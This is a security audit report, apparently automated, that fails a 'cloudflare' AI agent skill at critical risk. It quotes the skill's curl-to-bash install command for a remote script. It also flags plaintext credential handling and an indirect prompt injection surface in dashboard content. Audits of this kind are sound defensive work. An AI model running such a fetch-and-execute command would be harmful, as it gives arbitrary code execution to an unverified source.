cloudflare

Fail

Audited by Gen Agent Trust Hub on Feb 17, 2026

Risk Level: CRITICALREMOTE_CODE_EXECUTIONCREDENTIALS_UNSAFEEXTERNAL_DOWNLOADSCOMMAND_EXECUTION
Full Analysis
  • Remote Code Execution (CRITICAL): The skill instructions explicitly direct users to pipe remote scripts from an untrusted domain (canifi.com) directly into bash (e.g., curl -sSL https://canifi.com/skills/cloudflare/install.sh | bash). This is a classic RCE pattern that allows for arbitrary code execution with the user's privileges.
  • Credentials Unsafe (HIGH): The documentation encourages users to provide and store highly sensitive information, including SERVICE_PASSWORD and CLOUDFLARE_EMAIL, in environment variables. This practice exposes plaintext credentials to the agent and potentially other local processes.
  • External Downloads (HIGH): The skill depends on remote assets from an unverified source (canifi.com), which is not part of the established trusted organizations or repositories list.
  • Indirect Prompt Injection (LOW): The skill processes untrusted data from the Cloudflare dashboard. Evidence Chain: 1. Ingestion points: Cloudflare dashboard via Playwright MCP. 2. Boundary markers: Absent. 3. Capability inventory: Browser automation, shell command execution via installation scripts. 4. Sanitization: Absent. This creates a surface where malicious dashboard content could influence agent behavior.
Recommendations
  • HIGH: Downloads and executes remote code from: https://canifi.com/skills/cloudflare/install.sh, https://canifi.com/install.sh - DO NOT USE without thorough review
  • AI detected serious security threats
Audit Metadata
Risk Level
CRITICAL
Analyzed
Feb 17, 2026, 05:40 PM
Security Audit — agent-trust-hub — cloudflare